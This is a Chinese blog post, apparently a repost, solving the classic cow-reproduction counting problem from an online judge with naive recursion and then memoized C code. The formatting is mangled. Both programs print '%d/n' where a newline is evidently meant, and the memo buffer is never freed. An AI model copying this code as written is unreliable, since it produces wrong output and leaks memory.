Problem设有一头小母牛，从出生第四年起每年生一头小母牛，按此规律，第N年时有几头母牛？
Input本题有多组数据。每组数据只有一个整数N，独占一行。(1≤N≤50)
Output对每组数据，输出一个整数（独占一行）表示第N年时母牛的数量
Sample Input14520
Sample Output123872－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－最容易写出来的。解决方法很简单：母牛数等于自己加上它生的小牛数，再加上它的小牛们自己生的小牛，如此递归。/*此解答未被Accept原因：运算时间超时（1200ms，而时间限制在1000ms）*/#include<stdio.h>int F(int n){ int res = n<4?0:n-3;//该母牛所生的小牛数
if(n>=4) { for(int i=1; i<=n-3; i++)//该母牛的每一个孩子再生小牛。 { res += F(i); } }
return res;}
int main(){ int n;
while( scanf("%d",&n) != EOF) { printf("%d/n",F(n)+1); }
return 0; }上面解答的弱点是，重复计算（比如F(1)被。每一个小牛掉用了，被每一个小牛的每一个孩子调用了，如此重复下去），导致时间开销很大。－－－－－－－－－－－－－－－－－－－－－－－－－－－－改进的：为了避免重复运算，我们将用一个数组保存已经被计算过的值，由于函数F的任何计算的结果都不会是－1，那么我们设置数组的初始值为－1，但检查到其值不为－1时，那么它已经被计算过了，我们就没有必要再计算了。/*此解答已通过TongJi编译，并接收 User Result Memory Time Language Date zhouyinhui Accepted 56 k 2ms C++ 2006-05-06 16:32:02*/ #include<stdio.h>#include<malloc.h>
int* arr;//用于保存运算结果，避免递归调用中的重复运算
int F(int n){ int res = n<4?0:n-3;
if(n>=4) { for(int i=1; i<=n-3; i++) { if( *(arr+i) == -1 )//如果未运算该F(i) { *(arr+i) = F(i);//则运算并保存结果 } res += *(arr+i);
} }
return res;}
int main(){ int n;
while( scanf("%d",&n) != EOF) { int *array = (int *)malloc(n*4); for(int i=0; i<n; i++) { *(array+i) = -1; }
arr = array;
printf("%d/n",F(n)+1); }
return 0; }
文章来源于 http://www.cnblogs.com/zhouyinhui 版权归原作者所有<script language='javascript' src='http://www.shiqiaotou.com/donetk/Footer.js'></script>